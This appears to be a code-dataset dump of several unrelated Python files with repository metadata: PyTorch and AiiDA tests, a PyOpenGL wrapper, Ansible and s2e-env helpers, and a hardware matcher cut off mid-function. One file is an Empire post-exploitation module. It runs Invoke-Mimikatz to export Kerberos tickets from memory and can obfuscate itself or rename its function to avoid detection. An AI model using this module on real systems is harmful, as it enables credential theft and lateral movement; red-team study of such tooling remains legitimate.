self.assertEqual(tensor, fill) def get_int64_dtype(dtype): module = '.'.join(str(dtype).split('.')[1:-1]) if not module: return torch.int64 return operator.attrgetter(module)(torch).int64 default_dtype = torch.get_default_dtype() check_value(torch.empty(shape), default_dtype, torch.strided, -1, None, False) check_value(torch.full(shape, -5.), default_dtype, torch.strided, -1, None, False) for dtype in dtypes: for rg in {dtype.is_floating_point, False}: int64_dtype = get_int64_dtype(dtype) v = torch.empty(shape, dtype=dtype, device=device, layout=layout, requires_grad=rg) check_value(v, dtype, layout, device, None, rg) out = v.new() check_value(torch.empty(shape, out=out, device=device, layout=layout, requires_grad=rg), dtype, layout, device, None, rg) check_value(v.new_empty(shape), dtype, layout, device, None, False) check_value(v.new_empty(shape, dtype=int64_dtype, device=device, requires_grad=False), int64_dtype, layout, device, None, False) check_value(torch.empty_like(v), dtype, layout, device, None, False) check_value(torch.empty_like(v, dtype=int64_dtype, layout=layout, device=device, requires_grad=False), int64_dtype, layout, device, None, False) if dtype is not torch.float16 and layout != torch.sparse_coo: fv = 3 v = torch.full(shape, fv, dtype=dtype, layout=layout, device=device, requires_grad=rg) check_value(v, dtype, layout, device, fv, rg) check_value(v.new_full(shape, fv + 1), dtype, layout, device, fv + 1, False) out = v.new() check_value(torch.full(shape, fv + 2, out=out, device=device, layout=layout, requires_grad=rg), dtype, layout, device, fv + 2, rg) check_value(v.new_full(shape, fv + 3, dtype=int64_dtype, device=device, requires_grad=False), int64_dtype, layout, device, fv + 3, False) check_value(torch.full_like(v, fv + 4), dtype, layout, device, fv + 4, False) check_value(torch.full_like(v, fv + 5, dtype=int64_dtype, layout=layout, device=device, requires_grad=False), int64_dtype, layout, device, fv + 5, False) THESE_TAKE_WAY_TOO_LONG = { 'test_Conv3d_groups', 'test_conv_double_backward', 'test_conv_double_backward_groups', 'test_Conv3d_dilated', 'test_Conv3d_stride_padding', 'test_Conv3d_dilated_strided', 'test_Conv3d', 'test_Conv2d_dilated', 'test_ConvTranspose3d_dilated', 'test_ConvTranspose2d_dilated', 'test_snli', 'test_Conv2d', 'test_Conv2d_padding', 'test_ConvTranspose2d_no_bias', 'test_ConvTranspose2d', 'test_ConvTranspose3d', 'test_Conv2d_no_bias', 'test_matmul_4d_4d', 'test_multinomial_invalid_probs', } running_script_path = None def set_running_script_path(): global running_script_path try: running_file = os.path.abspath(os.path.realpath(sys.argv[0])) if running_file.endswith('.py'): # skip if the running file is not a script running_script_path = running_file except Exception: pass def check_test_defined_in_running_script(test_case): if running_script_path is None: return test_case_class_file = os.path.abspath(os.path.realpath(inspect.getfile(test_case.__class__))) assert test_case_class_file == running_script_path, "Class of loaded TestCase \"{}\" " \ "is not defined in the running script \"{}\", but in \"{}\". Did you " \ "accidentally import a unittest.TestCase from another file?".format( test_case.id(), running_script_path, test_case_class_file) def load_tests(loader, tests, pattern): set_running_script_path() test_suite = unittest.TestSuite() for test_group in tests: for test in test_group: check_test_defined_in_running_script(test) test_suite.addTest(test) return test_suite class BytesIOContext(io.BytesIO): def __enter__(self): return self def __exit__(self, *args): pass def _assertGradAndGradgradChecks(test_case, apply_fn, inputs): # call assert function rather than returning a bool since it's nicer test_case.assertTrue(gradcheck(apply_fn, inputs)) test_case.assertTrue(gradgradcheck(apply_fn, inputs)) dtype2prec_DONTUSE = {torch.float: 1e-5, torch.double: 1e-5, torch.half: 1e-2, torch.bfloat16: 1e-1}

true

f70ff7b5f910ec0e2e5f617995f5bf4ccc679ff6

1,220

py

Python

deep-rl/lib/python2.7/site-packages/OpenGL/GLES2/EXT/robustness.py

ShujaKhalid/deep-rl

99c6ba6c3095d1bfdab81bd01395ced96bddd611

[ "MIT" ]

3

2019-04-01T11:03:04.000Z

2019-12-31T02:17:15.000Z

deep-rl/lib/python2.7/site-packages/OpenGL/GLES2/EXT/robustness.py

ShujaKhalid/deep-rl

99c6ba6c3095d1bfdab81bd01395ced96bddd611

[ "MIT" ]

1

2021-02-08T20:34:54.000Z

deep-rl/lib/python2.7/site-packages/OpenGL/GLES2/EXT/robustness.py

ShujaKhalid/deep-rl

99c6ba6c3095d1bfdab81bd01395ced96bddd611

[ "MIT" ]

1

2018-06-07T22:31:11.000Z

'''OpenGL extension EXT.robustness This module customises the behaviour of the OpenGL.raw.GLES2.EXT.robustness to provide a more Python-friendly API The official definition of this extension is available here: http://www.opengl.org/registry/specs/EXT/robustness.txt ''' from OpenGL import platform, constant, arrays from OpenGL import extensions, wrapper import ctypes from OpenGL.raw.GLES2 import _types, _glgets from OpenGL.raw.GLES2.EXT.robustness import * from OpenGL.raw.GLES2.EXT.robustness import _EXTENSION_NAME def glInitRobustnessEXT(): '''Return boolean indicating whether this extension is available''' from OpenGL import extensions return extensions.hasGLExtension( _EXTENSION_NAME ) # INPUT glReadnPixelsEXT.data size not checked against bufSize glReadnPixelsEXT=wrapper.wrapper(glReadnPixelsEXT).setInputArraySize( 'data', None ) # INPUT glGetnUniformfvEXT.params size not checked against bufSize glGetnUniformfvEXT=wrapper.wrapper(glGetnUniformfvEXT).setInputArraySize( 'params', None ) # INPUT glGetnUniformivEXT.params size not checked against bufSize glGetnUniformivEXT=wrapper.wrapper(glGetnUniformivEXT).setInputArraySize( 'params', None ) ### END AUTOGENERATED SECTION

35.882353

73

0.811475

from OpenGL import platform, constant, arrays from OpenGL import extensions, wrapper import ctypes from OpenGL.raw.GLES2 import _types, _glgets from OpenGL.raw.GLES2.EXT.robustness import * from OpenGL.raw.GLES2.EXT.robustness import _EXTENSION_NAME def glInitRobustnessEXT(): from OpenGL import extensions return extensions.hasGLExtension( _EXTENSION_NAME ) glReadnPixelsEXT=wrapper.wrapper(glReadnPixelsEXT).setInputArraySize( 'data', None ) glGetnUniformfvEXT=wrapper.wrapper(glGetnUniformfvEXT).setInputArraySize( 'params', None ) glGetnUniformivEXT=wrapper.wrapper(glGetnUniformivEXT).setInputArraySize( 'params', None )

true

f70ff8b39f836eb8b184cb1a2cede38cdd93a78e

6,628

py

Python

tests/orm/nodes/data/test_base.py

azadoks/aiida-core

b806b7fef8fc79090deccfe2019b77cb922e0581

[ "MIT", "BSD-3-Clause" ]

180

2019-07-12T07:45:26.000Z

2022-03-22T13:16:57.000Z

tests/orm/nodes/data/test_base.py

azadoks/aiida-core

b806b7fef8fc79090deccfe2019b77cb922e0581

[ "MIT", "BSD-3-Clause" ]

2,325

2019-07-04T13:41:44.000Z

2022-03-31T12:17:10.000Z

tests/orm/nodes/data/test_base.py

azadoks/aiida-core

b806b7fef8fc79090deccfe2019b77cb922e0581

[ "MIT", "BSD-3-Clause" ]

88

2019-07-06T01:42:39.000Z

2022-03-18T14:20:09.000Z

# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # # # The code is hosted on GitHub at https://github.com/aiidateam/aiida-core # # For further information on the license, see the LICENSE.txt file # # For further information please visit http://www.aiida.net # ########################################################################### # pylint: disable=invalid-name """Tests for :class:`aiida.orm.nodes.data.base.BaseType` classes.""" import operator import pytest from aiida.orm import Bool, Float, Int, NumericType, Str, load_node @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize( 'node_type, default, value', [ (Bool, False, True), (Int, 0, 5), (Float, 0.0, 5.5), (Str, '', 'a'), ] ) def test_create(node_type, default, value): """Test the creation of the ``BaseType`` nodes.""" node = node_type() assert node.value == default node = node_type(value) assert node.value == value @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type', [Bool, Float, Int, Str]) def test_store_load(node_type): """Test ``BaseType`` node storing and loading.""" node = node_type() node.store() loaded = load_node(node.pk) assert node.value == loaded.value @pytest.mark.usefixtures('clear_database_before_test') def test_modulo(): """Test ``Int`` modulus operation.""" term_a = Int(12) term_b = Int(10) assert term_a % term_b == 2 assert isinstance(term_a % term_b, NumericType) assert term_a % 10 == 2 assert isinstance(term_a % 10, NumericType) assert 12 % term_b == 2 assert isinstance(12 % term_b, NumericType) @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type, a, b', [ (Int, 3, 5), (Float, 1.2, 5.5), ]) def test_add(node_type, a, b): """Test addition for ``Int`` and ``Float`` nodes.""" node_a = node_type(a) node_b = node_type(b) result = node_a + node_b assert isinstance(result, node_type) assert result.value == a + b # Node and native (both ways) result = node_a + b assert isinstance(result, node_type) assert result.value == a + b result = a + node_b assert isinstance(result, node_type) assert result.value == a + b # Inplace result = node_type(a) result += node_b assert isinstance(result, node_type) assert result.value == a + b @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type, a, b', [ (Int, 3, 5), (Float, 1.2, 5.5), ]) def test_multiplication(node_type, a, b): """Test floats multiplication.""" node_a = node_type(a) node_b = node_type(b) # Check multiplication result = node_a * node_b assert isinstance(result, node_type) assert result.value == a * b # Check multiplication Node and native (both ways) result = node_a * b assert isinstance(result, node_type) assert result.value == a * b result = a * node_b assert isinstance(result, node_type) assert result.value == a * b # Inplace result = node_type(a) result *= node_b assert isinstance(result, node_type) assert result.value == a * b @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type, a, b', [ (Int, 3, 5), (Float, 1.2, 5.5), ]) @pytest.mark.usefixtures('clear_database_before_test') def test_division(node_type, a, b): """Test the ``BaseType`` normal division operator.""" node_a = node_type(a) node_b = node_type(b) result = node_a / node_b assert result == a / b assert isinstance(result, Float) # Should be a `Float` for both node types @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type, a, b', [ (Int, 3, 5), (Float, 1.2, 5.5), ]) @pytest.mark.usefixtures('clear_database_before_test') def test_division_integer(node_type, a, b): """Test the ``Int`` integer division operator.""" node_a = node_type(a) node_b = node_type(b) result = node_a // node_b assert result == a // b assert isinstance(result, node_type) @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type, base, power', [ (Int, 5, 2), (Float, 3.5, 3), ]) def test_power(node_type, base, power): """Test power operator.""" node_base = node_type(base) node_power = node_type(power) result = node_base**node_power assert result == base**power assert isinstance(result, node_type) @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type, a, b', [ (Int, 5, 2), (Float, 3.5, 3), ]) def test_modulus(node_type, a, b): """Test modulus operator.""" node_a = node_type(a) node_b = node_type(b) assert node_a % node_b == a % b assert isinstance(node_a % node_b, node_type) assert node_a % b == a % b assert isinstance(node_a % b, node_type) assert a % node_b == a % b assert isinstance(a % node_b, node_type) @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize( 'opera', [ operator.add, operator.mul, operator.pow, operator.lt, operator.le, operator.gt, operator.ge, operator.iadd, operator.imul ] ) def test_operator(opera): """Test operations between Int and Float objects.""" node_a = Float(2.2) node_b = Int(3) for node_x, node_y in [(node_a, node_b), (node_b, node_a)]: res = opera(node_x, node_y) c_val = opera(node_x.value, node_y.value) assert res._type == type(c_val) # pylint: disable=protected-access assert res == opera(node_x.value, node_y.value) @pytest.mark.usefixtures('clear_database_before_test') @pytest.mark.parametrize('node_type, a, b', [ (Bool, False, True), (Int, 2, 5), (Float, 2.5, 5.5), (Str, 'a', 'b'), ]) def test_equality(node_type, a, b): """Test equality comparison for the base types.""" node_a = node_type(a) node_a_clone = node_type(a) node_b = node_type(b) # Test equality comparison with Python base types assert node_a == a assert node_a != b # Test equality comparison with other `BaseType` nodes assert node_a == node_a_clone assert node_a != node_b

28.817391

116

0.628093

true

f70ff8c17dab8983b21b6b77a9aa402599833f23

2,391

py

Python

lib/python3.8/site-packages/ansible_collections/community/general/tests/integration/targets/inventory_kubevirt/inventory_diff.py

cjsteel/python3-venv-ansible-2.10.5

c95395c4cae844dc66fddde9b4343966f4b2ecd5

[ "Apache-1.1" ]

5

2020-12-16T21:42:09.000Z

2022-03-28T16:04:32.000Z

.ansible/collections/ansible_collections/community/general/tests/integration/targets/inventory_kubevirt/inventory_diff.py

chronicc/proving-ground

3e392122a05fb8383a3700954baebb0df330e9e3

[ "MIT" ]

null

.ansible/collections/ansible_collections/community/general/tests/integration/targets/inventory_kubevirt/inventory_diff.py

chronicc/proving-ground

3e392122a05fb8383a3700954baebb0df330e9e3

[ "MIT" ]

null

#!/usr/bin/env python from __future__ import (absolute_import, division, print_function) __metaclass__ = type import json import sys def check_hosts(contrib, plugin): contrib_hosts = sorted(contrib['_meta']['hostvars'].keys()) plugin_hosts = sorted(plugin['_meta']['hostvars'].keys()) assert contrib_hosts == plugin_hosts return contrib_hosts, plugin_hosts def check_groups(contrib, plugin): contrib_groups = set(contrib.keys()) plugin_groups = set(plugin.keys()) missing_groups = contrib_groups.difference(plugin_groups) if missing_groups: print("groups: %s are missing from the plugin" % missing_groups) assert not missing_groups return contrib_groups, plugin_groups def check_host_vars(key, value, plugin, host): # tags are a dict in the plugin if key.startswith('ec2_tag'): print('assert tag', key, value) assert 'tags' in plugin['_meta']['hostvars'][host], 'b file does not have tags in host' btags = plugin['_meta']['hostvars'][host]['tags'] tagkey = key.replace('ec2_tag_', '') assert tagkey in btags, '%s tag not in b file host tags' % tagkey assert value == btags[tagkey], '%s != %s' % (value, btags[tagkey]) else: print('assert var', key, value, key in plugin['_meta']['hostvars'][host], plugin['_meta']['hostvars'][host].get(key)) assert key in plugin['_meta']['hostvars'][host], "%s not in b's %s hostvars" % (key, host) assert value == plugin['_meta']['hostvars'][host][key], "%s != %s" % (value, plugin['_meta']['hostvars'][host][key]) def main(): # a should be the source of truth (the script output) a = sys.argv[1] # b should be the thing to check (the plugin output) b = sys.argv[2] with open(a, 'r') as f: adata = json.loads(f.read()) with open(b, 'r') as f: bdata = json.loads(f.read()) print(adata) print(bdata) # all hosts should be present obviously ahosts, bhosts = check_hosts(adata, bdata) # all groups should be present obviously agroups, bgroups = check_groups(adata, bdata) # check host vars can be reconstructed for ahost in ahosts: contrib_host_vars = adata['_meta']['hostvars'][ahost] for key, value in contrib_host_vars.items(): check_host_vars(key, value, bdata, ahost) if __name__ == "__main__": main()

33.676056

125

0.649101

from __future__ import (absolute_import, division, print_function) __metaclass__ = type import json import sys def check_hosts(contrib, plugin): contrib_hosts = sorted(contrib['_meta']['hostvars'].keys()) plugin_hosts = sorted(plugin['_meta']['hostvars'].keys()) assert contrib_hosts == plugin_hosts return contrib_hosts, plugin_hosts def check_groups(contrib, plugin): contrib_groups = set(contrib.keys()) plugin_groups = set(plugin.keys()) missing_groups = contrib_groups.difference(plugin_groups) if missing_groups: print("groups: %s are missing from the plugin" % missing_groups) assert not missing_groups return contrib_groups, plugin_groups def check_host_vars(key, value, plugin, host): if key.startswith('ec2_tag'): print('assert tag', key, value) assert 'tags' in plugin['_meta']['hostvars'][host], 'b file does not have tags in host' btags = plugin['_meta']['hostvars'][host]['tags'] tagkey = key.replace('ec2_tag_', '') assert tagkey in btags, '%s tag not in b file host tags' % tagkey assert value == btags[tagkey], '%s != %s' % (value, btags[tagkey]) else: print('assert var', key, value, key in plugin['_meta']['hostvars'][host], plugin['_meta']['hostvars'][host].get(key)) assert key in plugin['_meta']['hostvars'][host], "%s not in b's %s hostvars" % (key, host) assert value == plugin['_meta']['hostvars'][host][key], "%s != %s" % (value, plugin['_meta']['hostvars'][host][key]) def main(): # a should be the source of truth (the script output) a = sys.argv[1] # b should be the thing to check (the plugin output) b = sys.argv[2] with open(a, 'r') as f: adata = json.loads(f.read()) with open(b, 'r') as f: bdata = json.loads(f.read()) print(adata) print(bdata) # all hosts should be present obviously ahosts, bhosts = check_hosts(adata, bdata) # all groups should be present obviously agroups, bgroups = check_groups(adata, bdata) # check host vars can be reconstructed for ahost in ahosts: contrib_host_vars = adata['_meta']['hostvars'][ahost] for key, value in contrib_host_vars.items(): check_host_vars(key, value, bdata, ahost) if __name__ == "__main__": main()

true

f70ff9f7bc88d87ca48ff19099b4239c3f5439c9

3,679

py

Python

lib/modules/powershell/credentials/mimikatz/extract_tickets.py

RedBulletTooling/Empire

3f4146bf8221ad3d2dcbe8ef4a61dabd66b86e0d

[ "BSD-3-Clause" ]

3

2019-11-30T06:12:45.000Z

2021-06-10T05:35:33.000Z

lib/modules/powershell/credentials/mimikatz/extract_tickets.py

RedBulletTooling/Empire

3f4146bf8221ad3d2dcbe8ef4a61dabd66b86e0d

[ "BSD-3-Clause" ]

20

2020-03-11T03:58:21.000Z

2020-03-12T03:59:38.000Z

lib/modules/powershell/credentials/mimikatz/extract_tickets.py

RedBulletTooling/Empire

3f4146bf8221ad3d2dcbe8ef4a61dabd66b86e0d

[ "BSD-3-Clause" ]

null

from __future__ import print_function from builtins import str from builtins import object from lib.common import helpers import threading class Module(object): def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-Mimikatz extract kerberos tickets.', 'Author': ['@JosephBialek', '@gentilkiwi'], 'Description': ("Runs PowerSploit's Invoke-Mimikatz function " "to extract kerberos tickets from memory in base64-encoded form."), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : True, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [ 'http://clymb3r.wordpress.com/', 'http://blog.gentilkiwi.com' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # used to protect self.http and self.mainMenu.conn during threaded listener access self.lock = threading.Lock() for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3 def get_db_connection(self): """ Returns the cursor for SQLlite DB """ self.lock.acquire() self.mainMenu.conn.row_factory = None self.lock.release() return self.mainMenu.conn def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print(helpers.color("[!] Could not read module source path at: " + str(moduleSource))) return "" moduleCode = f.read() f.close() script = moduleCode scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'" if obfuscate: scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd # Get the random function name generated at install and patch the stager with the proper function name conn = self.get_db_connection() self.lock.acquire() cur = conn.cursor() cur.execute("SELECT Invoke_Mimikatz FROM functions") replacement = cur.fetchone() cur.close() self.lock.release() script = script.replace("Invoke-Mimikatz", replacement[0]) return script

34.707547

127

0.594183

from __future__ import print_function from builtins import str from builtins import object from lib.common import helpers import threading class Module(object): def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-Mimikatz extract kerberos tickets.', 'Author': ['@JosephBialek', '@gentilkiwi'], 'Description': ("Runs PowerSploit's Invoke-Mimikatz function " "to extract kerberos tickets from memory in base64-encoded form."), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : True, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [ 'http://clymb3r.wordpress.com/', 'http://blog.gentilkiwi.com' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # used to protect self.http and self.mainMenu.conn during threaded listener access self.lock = threading.Lock() for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3 def get_db_connection(self): self.lock.acquire() self.mainMenu.conn.row_factory = None self.lock.release() return self.mainMenu.conn def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print(helpers.color("[!] Could not read module source path at: " + str(moduleSource))) return "" moduleCode = f.read() f.close() script = moduleCode scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'" if obfuscate: scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd # Get the random function name generated at install and patch the stager with the proper function name conn = self.get_db_connection() self.lock.acquire() cur = conn.cursor() cur.execute("SELECT Invoke_Mimikatz FROM functions") replacement = cur.fetchone() cur.close() self.lock.release() script = script.replace("Invoke-Mimikatz", replacement[0]) return script

true

f70ffa952087ecc203a557dd249439198e434117

31

py

Python

esphome/components/version/__init__.py

OttoWinter/esphomeyaml

6a85259e4d6d1b0a0f819688b8e555efcb99ecb0

[ "MIT" ]

249

2018-04-07T12:04:11.000Z

2019-01-25T01:11:34.000Z

esphome/components/adc/__init__.py

OttoWinter/esphomeyaml

6a85259e4d6d1b0a0f819688b8e555efcb99ecb0

[ "MIT" ]

243

2018-04-11T16:37:11.000Z

2019-01-25T16:50:37.000Z

esphome/components/md5/__init__.py

OttoWinter/esphomeyaml

6a85259e4d6d1b0a0f819688b8e555efcb99ecb0

[ "MIT" ]

40

2018-04-10T05:50:14.000Z

2019-01-25T15:20:36.000Z

CODEOWNERS = ["@esphome/core"]

15.5

30

0.677419

CODEOWNERS = ["@esphome/core"]

true

f70ffac8915dec77e469e6bc0f0f06e1bcd32725

1,831

py

Python

s2e_env/utils/repos.py

benquike/s2e-env

3a71fee8f80b3318ad6b971c0bb42b5f60b27d8b

[ "BSD-3-Clause" ]

55

2019-12-20T03:25:14.000Z

2022-01-16T07:19:47.000Z

s2e_env/utils/repos.py

weizhou-chaojixx/s2e-env

ba72dac30a6db65f87fea13f275003791fcf4052

[ "BSD-3-Clause" ]

2

2020-11-02T08:01:00.000Z

2022-03-27T02:59:18.000Z

s2e_env/utils/repos.py

weizhou-chaojixx/s2e-env

ba72dac30a6db65f87fea13f275003791fcf4052

[ "BSD-3-Clause" ]

11

2020-08-06T03:59:45.000Z

2022-02-25T02:31:59.000Z

""" Copyright (c) 2017 Cyberhaven Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import logging import os import sys from sh import git, ErrorReturnCode from s2e_env import CONSTANTS from s2e_env.command import CommandError logger = logging.getLogger(__name__) def git_clone(git_repo_url, git_repo_dir): try: logger.info('Fetching from %s to %s', git_repo_url, git_repo_dir) git.clone(git_repo_url, git_repo_dir, _out=sys.stdout, _err=sys.stderr, _fg=True) except ErrorReturnCode as e: raise CommandError(e) def git_clone_to_source(env_path, git_repo): git_url = CONSTANTS['repos']['url'] git_repo_dir = os.path.join(env_path, 'source', git_repo) git_repo_url = '%s/%s' % (git_url, git_repo) git_clone(git_repo_url, git_repo_dir) logger.success('Fetched %s', git_repo)

35.211538

78

0.761879

import logging import os import sys from sh import git, ErrorReturnCode from s2e_env import CONSTANTS from s2e_env.command import CommandError logger = logging.getLogger(__name__) def git_clone(git_repo_url, git_repo_dir): try: logger.info('Fetching from %s to %s', git_repo_url, git_repo_dir) git.clone(git_repo_url, git_repo_dir, _out=sys.stdout, _err=sys.stderr, _fg=True) except ErrorReturnCode as e: raise CommandError(e) def git_clone_to_source(env_path, git_repo): git_url = CONSTANTS['repos']['url'] git_repo_dir = os.path.join(env_path, 'source', git_repo) git_repo_url = '%s/%s' % (git_url, git_repo) git_clone(git_repo_url, git_repo_dir) logger.success('Fetched %s', git_repo)

true

f70ffae33736b36285853cfb6a7d24af8048216a

9,322

py

Python

hardware/matcher.py

jacek-jablonski/hardware

4447a07609b54ff1a0eea0f07c75030e5752afe2

[ "Apache-2.0" ]

null

hardware/matcher.py

jacek-jablonski/hardware

4447a07609b54ff1a0eea0f07c75030e5752afe2

[ "Apache-2.0" ]

null

hardware/matcher.py

jacek-jablonski/hardware

4447a07609b54ff1a0eea0f07c75030e5752afe2

[ "Apache-2.0" ]

1

2019-10-05T13:19:25.000Z

# # Copyright (C) 2013-2015 eNovance SAS <licensing@enovance.com> # # Author: Frederic Lepied <frederic.lepied@enovance.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. '''Functions to match according to a requirement specification.''' import ipaddress import logging import re import sys LOG = logging.getLogger('hardware.matcher') def _adder(array, index, value): 'Auxiliary function to add a value to an array.' array[index] = value def _appender(array, index, value): 'Auxiliary function to append a value to an array.' try: array[index].append(value) except KeyError: array[index] = [value, ] def _range(elt, minval, maxval): 'Helper for match_spec.' return float(elt) >= float(minval) and float(elt) <= float(maxval) def _gt(left, right): 'Helper for match_spec.' return float(left) > float(right) def _ge(left, right): 'Helper for match_spec.' return float(left) >= float(right) def _lt(left, right): 'Helper for match_spec.' return float(left) < float(right) def _le(left, right): 'Helper for match_spec.' return float(left) <= float(right) def _not(_, right): 'Helper for match_spec.' return not right def _and(_, left, right): 'Helper for match_spec.' return left and right def _or(_, left, right): 'Helper for match_spec.' return left or right def _network(left, right): 'Helper for match_spec.' return ipaddress.IPv4Address(left) in ipaddress.IPv4Network(right) def _regexp(left, right): 'Helper for match_spec.' return re.search(right, left) is not None def _in(elt, *lst): 'Helper for match_spec.' return elt in lst _FUNC_REGEXP = re.compile(r'^([^(]+)' # function name r'$\s*([^,]+)' # first argument r'(?:\s*,\s*(.+))?' # remaining optional arguments r'$$') # last parenthesis def _call_func(func, implicit, res): 'Helper function for extract_result and match_spec' args = [implicit, res.group(2)] # split the optional arguments if we have some if res.group(3): args = args + re.split(r'\s*,\s*', res.group(3)) # remove strings delimiters args = [x.strip('\'"') for x in args] # call function args = [_extract_result(implicit, x) for x in args] return func(*args) def _extract_result(implicit, expr): 'Helper function for match_spec' res = _FUNC_REGEXP.search(expr) if res: func_name = '_' + res.group(1) if func_name in globals(): return _call_func(globals()[func_name], implicit, res) else: return expr else: return expr def match_spec(spec, lines, arr, adder=_adder): 'Match a line according to a spec and store variables in <var>.' # match a line without variable for idx in range(len(lines)): if lines[idx] == spec: res = lines[idx] del lines[idx] return res # match a line with a variable, a function or both for lidx in range(len(lines)): line = lines[lidx] varidx = [] for idx in range(4): # try to split the variable and function parts if we have both if spec[idx][0] == '$': parts = spec[idx].split('=') if len(parts) == 2: var, func = parts matched = False else: var = func = spec[idx] else: var = func = spec[idx] # Match a function if func[-1] == ')': res = _FUNC_REGEXP.search(func) if res: func_name = '_' + res.group(1) if func_name in globals(): if not _call_func(globals()[func_name], line[idx], res): if var == func: break else: if var == func: continue matched = True else: if var == func: break # Match a variable if ((var == func) or (var != func and matched)) and var[0] == '$': if adder == _adder and var[1:] in arr: if arr[var[1:]] != line[idx]: break varidx.append((idx, var[1:])) # Match the full string elif line[idx] != spec[idx]: break else: for i, var in varidx: adder(arr, var, line[i]) res = lines[lidx] del lines[lidx] return res return False def match_all(lines, specs, arr, arr2, debug=False, level=0): '''Match all lines according to a spec. Store variables starting with a $ in <arr>. Variables starting with 2 $ like $$vda are stored in arr and arr2. ''' # Work on a copy of lines to avoid changing the real lines because # match_spec removes the matched line to not match it again on next # calls. lines = list(lines) specs = list(specs) copy_arr = dict(arr) points = [] # Prevent infinit loops if level == 50: return False # Match lines using specs while len(specs) > 0: copy_specs = list(specs) spec = specs.pop(0) line = match_spec(spec, lines, arr) if debug: sys.stderr.write('match_spec: %s %s\n' % (line, spec)) # No match if not line: # Backtrack on the backtracking points while len(points) > 0: lines, specs, new_arr = points.pop() if debug: sys.stderr.write('retrying with: %s\n' % (new_arr,)) if match_all(lines, specs, new_arr, arr2, debug, level + 1): # Copy arr back for k in new_arr: arr[k] = new_arr[k] if debug: sys.stderr.write('success: %d\n' % level) return True if level == 0 and debug: sys.stderr.write('spec: %s not matched\n' % str(spec)) return False else: # Store backtraking points when we find a new variable if arr != copy_arr: copy_lines = list(lines) # Put the matching line at the end of the lines copy_lines.append(line) points.append((copy_lines, copy_specs, copy_arr)) copy_arr = dict(arr) if debug: sys.stderr.write('new var: %s %s\n' % (arr, line)) # Manage $$ variables for key in arr: if key[0] == '$': nkey = key[1:] arr[nkey] = arr[key] arr2[nkey] = arr[key] del arr[key] return True def match_multiple(lines, spec, arr): 'Use spec to find all the matching lines and gather variables.' ret = False lines = list(lines) while 